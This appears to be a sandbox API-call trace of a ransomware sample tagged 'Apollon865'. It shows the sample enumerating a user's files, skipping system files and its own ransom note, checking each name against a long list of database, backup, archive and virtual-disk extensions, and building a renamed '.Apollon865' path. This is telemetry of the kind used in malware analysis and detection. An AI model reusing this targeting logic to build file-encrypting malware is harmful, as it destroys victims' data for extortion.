	[0086.646] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30187390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.646] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.646] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ef87e10, ftCreationTime.dwHighDateTime=0x1d4c620, ftLastAccessTime.dwLowDateTime=0x529c95b0, ftLastAccessTime.dwHighDateTime=0x1d4cafc, ftLastWriteTime.dwLowDateTime=0x529c95b0, ftLastWriteTime.dwHighDateTime=0x1d4cafc, nFileSizeHigh=0x0, nFileSizeLow=0xfba8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jUyHLYXoL0Zwx55G2f.mkv", cAlternateFileName="JUYHLY~1.MKV")) returned 1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".") returned 1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="..") returned 1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="windows") returned -1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="bootmgr") returned 1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="temp") returned -1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="pagefile.sys") returned -1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="boot") returned 1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="ids.txt") returned 1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="ntuser.dat") returned -1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="perflogs") returned -1
	[0086.646] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2="MSBuild") returned -1
	[0086.646] lstrlenW (lpString="jUyHLYXoL0Zwx55G2f.mkv") returned 22
	[0086.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\9EneLV-Fg4V.mkv") returned 71
	[0086.647] lstrcpyW (in: lpString1=0x119e678, lpString2="jUyHLYXoL0Zwx55G2f.mkv" | out: lpString1="jUyHLYXoL0Zwx55G2f.mkv") returned="jUyHLYXoL0Zwx55G2f.mkv"
	[0086.647] lstrlenW (lpString="jUyHLYXoL0Zwx55G2f.mkv") returned 22
	[0086.647] lstrlenW (lpString="Apollon865") returned 10
	[0086.647] lstrcmpiW (lpString1="x55G2f.mkv", lpString2="Apollon865") returned 1
	[0086.647] lstrlenW (lpString=".dll") returned 4
	[0086.647] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".dll") returned 1
	[0086.647] lstrlenW (lpString=".lnk") returned 4
	[0086.647] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".lnk") returned 1
	[0086.647] lstrlenW (lpString=".ini") returned 4
	[0086.647] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".ini") returned 1
	[0086.647] lstrlenW (lpString=".sys") returned 4
	[0086.647] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".sys") returned 1
	[0086.647] lstrlenW (lpString="jUyHLYXoL0Zwx55G2f.mkv") returned 22
	[0086.647] lstrlenW (lpString="bak") returned 3
	[0086.647] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.647] lstrlenW (lpString="ba_") returned 3
	[0086.647] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.647] lstrlenW (lpString="dbb") returned 3
	[0086.647] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.647] lstrlenW (lpString="vmdk") returned 4
	[0086.647] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.647] lstrlenW (lpString="rar") returned 3
	[0086.647] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.647] lstrlenW (lpString="zip") returned 3
	[0086.647] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.647] lstrlenW (lpString="tgz") returned 3
	[0086.647] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.647] lstrlenW (lpString="vbox") returned 4
	[0086.647] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.647] lstrlenW (lpString="vdi") returned 3
	[0086.647] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.647] lstrlenW (lpString="vhd") returned 3
	[0086.647] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.647] lstrlenW (lpString="vhdx") returned 4
	[0086.647] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.648] lstrlenW (lpString="avhd") returned 4
	[0086.648] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.648] lstrlenW (lpString="db") returned 2
	[0086.648] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.648] lstrlenW (lpString="db2") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.648] lstrlenW (lpString="db3") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.648] lstrlenW (lpString="dbf") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.648] lstrlenW (lpString="mdf") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.648] lstrlenW (lpString="mdb") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.648] lstrlenW (lpString="sql") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.648] lstrlenW (lpString="sqlite") returned 6
	[0086.648] lstrcmpiW (lpString1="2f.mkv", lpString2="sqlite") returned -1
	[0086.648] lstrlenW (lpString="sqlite3") returned 7
	[0086.648] lstrcmpiW (lpString1="G2f.mkv", lpString2="sqlite3") returned -1
	[0086.648] lstrlenW (lpString="sqlitedb") returned 8
	[0086.648] lstrcmpiW (lpString1="5G2f.mkv", lpString2="sqlitedb") returned -1
	[0086.648] lstrlenW (lpString="xml") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.648] lstrlenW (lpString="$er") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.648] lstrlenW (lpString="4dd") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.648] lstrlenW (lpString="4dl") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.648] lstrlenW (lpString="^^^") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.648] lstrlenW (lpString="abs") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.648] lstrlenW (lpString="abx") returned 3
	[0086.648] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.649] lstrlenW (lpString="accdb") returned 5
	[0086.649] lstrcmpiW (lpString1="f.mkv", lpString2="accdb") returned 1
	[0086.649] lstrlenW (lpString="accdc") returned 5
	[0086.649] lstrcmpiW (lpString1="f.mkv", lpString2="accdc") returned 1
	[0086.649] lstrlenW (lpString="accde") returned 5
	[0086.649] lstrcmpiW (lpString1="f.mkv", lpString2="accde") returned 1
	[0086.649] lstrlenW (lpString="accdr") returned 5
	[0086.649] lstrcmpiW (lpString1="f.mkv", lpString2="accdr") returned 1
	[0086.649] lstrlenW (lpString="accdt") returned 5
	[0086.649] lstrcmpiW (lpString1="f.mkv", lpString2="accdt") returned 1
	[0086.649] lstrlenW (lpString="accdw") returned 5
	[0086.649] lstrcmpiW (lpString1="f.mkv", lpString2="accdw") returned 1
	[0086.649] lstrlenW (lpString="accft") returned 5
	[0086.649] lstrcmpiW (lpString1="f.mkv", lpString2="accft") returned 1
	[0086.649] lstrlenW (lpString="adb") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.649] lstrlenW (lpString="adb") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.649] lstrlenW (lpString="ade") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.649] lstrlenW (lpString="adf") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.649] lstrlenW (lpString="adn") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.649] lstrlenW (lpString="adp") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.649] lstrlenW (lpString="alf") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.649] lstrlenW (lpString="ask") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.649] lstrlenW (lpString="btr") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.649] lstrlenW (lpString="cat") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.649] lstrlenW (lpString="cdb") returned 3
	[0086.649] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.649] lstrlenW (lpString="ckp") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.650] lstrlenW (lpString="cma") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.650] lstrlenW (lpString="cpd") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.650] lstrlenW (lpString="dacpac") returned 6
	[0086.650] lstrcmpiW (lpString1="2f.mkv", lpString2="dacpac") returned -1
	[0086.650] lstrlenW (lpString="dad") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.650] lstrlenW (lpString="dadiagrams") returned 10
	[0086.650] lstrcmpiW (lpString1="x55G2f.mkv", lpString2="dadiagrams") returned 1
	[0086.650] lstrlenW (lpString="daschema") returned 8
	[0086.650] lstrcmpiW (lpString1="5G2f.mkv", lpString2="daschema") returned -1
	[0086.650] lstrlenW (lpString="db-journal") returned 10
	[0086.650] lstrcmpiW (lpString1="x55G2f.mkv", lpString2="db-journal") returned 1
	[0086.650] lstrlenW (lpString="db-shm") returned 6
	[0086.650] lstrcmpiW (lpString1="2f.mkv", lpString2="db-shm") returned -1
	[0086.650] lstrlenW (lpString="db-wal") returned 6
	[0086.650] lstrcmpiW (lpString1="2f.mkv", lpString2="db-wal") returned -1
	[0086.650] lstrlenW (lpString="dbc") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.650] lstrlenW (lpString="dbs") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.650] lstrlenW (lpString="dbt") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.650] lstrlenW (lpString="dbv") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.650] lstrlenW (lpString="dbx") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.650] lstrlenW (lpString="dcb") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.650] lstrlenW (lpString="dct") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.650] lstrlenW (lpString="dcx") returned 3
	[0086.650] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.650] lstrlenW (lpString="ddl") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.651] lstrlenW (lpString="dlis") returned 4
	[0086.651] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.651] lstrlenW (lpString="dp1") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.651] lstrlenW (lpString="dqy") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.651] lstrlenW (lpString="dsk") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.651] lstrlenW (lpString="dsn") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.651] lstrlenW (lpString="dtsx") returned 4
	[0086.651] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.651] lstrlenW (lpString="dxl") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.651] lstrlenW (lpString="eco") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.651] lstrlenW (lpString="ecx") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.651] lstrlenW (lpString="edb") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.651] lstrlenW (lpString="epim") returned 4
	[0086.651] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.651] lstrlenW (lpString="fcd") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.651] lstrlenW (lpString="fdb") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.651] lstrlenW (lpString="fic") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.651] lstrlenW (lpString="flexolibrary") returned 12
	[0086.651] lstrcmpiW (lpString1="Zwx55G2f.mkv", lpString2="flexolibrary") returned 1
	[0086.651] lstrlenW (lpString="fm5") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.651] lstrlenW (lpString="fmp") returned 3
	[0086.651] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.651] lstrlenW (lpString="fmp12") returned 5
	[0086.651] lstrcmpiW (lpString1="f.mkv", lpString2="fmp12") returned -1
	[0086.652] lstrlenW (lpString="fmpsl") returned 5
	[0086.652] lstrcmpiW (lpString1="f.mkv", lpString2="fmpsl") returned -1
	[0086.652] lstrlenW (lpString="fol") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.652] lstrlenW (lpString="fp3") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.652] lstrlenW (lpString="fp4") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.652] lstrlenW (lpString="fp5") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.652] lstrlenW (lpString="fp7") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.652] lstrlenW (lpString="fpt") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.652] lstrlenW (lpString="frm") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.652] lstrlenW (lpString="gdb") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.652] lstrlenW (lpString="gdb") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.652] lstrlenW (lpString="grdb") returned 4
	[0086.652] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.652] lstrlenW (lpString="gwi") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.652] lstrlenW (lpString="hdb") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.652] lstrlenW (lpString="his") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.652] lstrlenW (lpString="ib") returned 2
	[0086.652] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.652] lstrlenW (lpString="idb") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.652] lstrlenW (lpString="ihx") returned 3
	[0086.652] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.652] lstrlenW (lpString="itdb") returned 4
	[0086.652] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.653] lstrlenW (lpString="itw") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.653] lstrlenW (lpString="jet") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.653] lstrlenW (lpString="jtx") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.653] lstrlenW (lpString="kdb") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.653] lstrlenW (lpString="kexi") returned 4
	[0086.653] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.653] lstrlenW (lpString="kexic") returned 5
	[0086.653] lstrcmpiW (lpString1="f.mkv", lpString2="kexic") returned -1
	[0086.653] lstrlenW (lpString="kexis") returned 5
	[0086.653] lstrcmpiW (lpString1="f.mkv", lpString2="kexis") returned -1
	[0086.653] lstrlenW (lpString="lgc") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.653] lstrlenW (lpString="lwx") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.653] lstrlenW (lpString="maf") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.653] lstrlenW (lpString="maq") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.653] lstrlenW (lpString="mar") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.653] lstrlenW (lpString="marshal") returned 7
	[0086.653] lstrcmpiW (lpString1="G2f.mkv", lpString2="marshal") returned -1
	[0086.653] lstrlenW (lpString="mas") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.653] lstrlenW (lpString="mav") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.653] lstrlenW (lpString="maw") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.653] lstrlenW (lpString="mdbhtml") returned 7
	[0086.653] lstrcmpiW (lpString1="G2f.mkv", lpString2="mdbhtml") returned -1
	[0086.653] lstrlenW (lpString="mdn") returned 3
	[0086.653] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.654] lstrlenW (lpString="mdt") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.654] lstrlenW (lpString="mfd") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.654] lstrlenW (lpString="mpd") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.654] lstrlenW (lpString="mrg") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.654] lstrlenW (lpString="mud") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.654] lstrlenW (lpString="mwb") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.654] lstrlenW (lpString="myd") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.654] lstrlenW (lpString="ndf") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.654] lstrlenW (lpString="nnt") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.654] lstrlenW (lpString="nrmlib") returned 6
	[0086.654] lstrcmpiW (lpString1="2f.mkv", lpString2="nrmlib") returned -1
	[0086.654] lstrlenW (lpString="ns2") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.654] lstrlenW (lpString="ns3") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.654] lstrlenW (lpString="ns4") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.654] lstrlenW (lpString="nsf") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.654] lstrlenW (lpString="nv") returned 2
	[0086.654] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.654] lstrlenW (lpString="nv2") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.654] lstrlenW (lpString="nwdb") returned 4
	[0086.654] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.654] lstrlenW (lpString="nyf") returned 3
	[0086.654] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.654] lstrlenW (lpString="odb") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.655] lstrlenW (lpString="odb") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.655] lstrlenW (lpString="oqy") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.655] lstrlenW (lpString="ora") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.655] lstrlenW (lpString="orx") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.655] lstrlenW (lpString="owc") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.655] lstrlenW (lpString="p96") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.655] lstrlenW (lpString="p97") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.655] lstrlenW (lpString="pan") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.655] lstrlenW (lpString="pdb") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.655] lstrlenW (lpString="pdm") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.655] lstrlenW (lpString="pnz") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.655] lstrlenW (lpString="qry") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.655] lstrlenW (lpString="qvd") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.655] lstrlenW (lpString="rbf") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.655] lstrlenW (lpString="rctd") returned 4
	[0086.655] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.655] lstrlenW (lpString="rod") returned 3
	[0086.655] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
	[0086.655] lstrlenW (lpString="rodx") returned 4
	[0086.655] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.655] lstrlenW (lpString="rpd") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.656] lstrlenW (lpString="rsd") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.656] lstrlenW (lpString="sas7bdat") returned 8
	[0086.656] lstrcmpiW (lpString1="5G2f.mkv", lpString2="sas7bdat") returned -1
	[0086.656] lstrlenW (lpString="sbf") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.656] lstrlenW (lpString="scx") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.656] lstrlenW (lpString="sdb") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.656] lstrlenW (lpString="sdc") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.656] lstrlenW (lpString="sdf") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.656] lstrlenW (lpString="sis") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.656] lstrlenW (lpString="spq") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
	[0086.656] lstrlenW (lpString="te") returned 2
	[0086.656] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.656] lstrlenW (lpString="teacher") returned 7
	[0086.656] lstrcmpiW (lpString1="G2f.mkv", lpString2="teacher") returned -1
	[0086.656] lstrlenW (lpString="tmd") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.656] lstrlenW (lpString="tps") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.656] lstrlenW (lpString="trc") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.656] lstrlenW (lpString="trc") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.656] lstrlenW (lpString="trm") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.656] lstrlenW (lpString="udb") returned 3
	[0086.656] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.656] lstrlenW (lpString="udl") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.657] lstrlenW (lpString="usr") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.657] lstrlenW (lpString="v12") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.657] lstrlenW (lpString="vis") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.657] lstrlenW (lpString="vpd") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.657] lstrlenW (lpString="vvv") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.657] lstrlenW (lpString="wdb") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.657] lstrlenW (lpString="wmdb") returned 4
	[0086.657] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.657] lstrlenW (lpString="wrk") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.657] lstrlenW (lpString="xdb") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.657] lstrlenW (lpString="xld") returned 3
	[0086.657] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.657] lstrlenW (lpString="xmlff") returned 5
	[0086.657] lstrcmpiW (lpString1="f.mkv", lpString2="xmlff") returned -1
	[0086.657] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\jUyHLYXoL0Zwx55G2f.mkv.Apollon865") returned 89
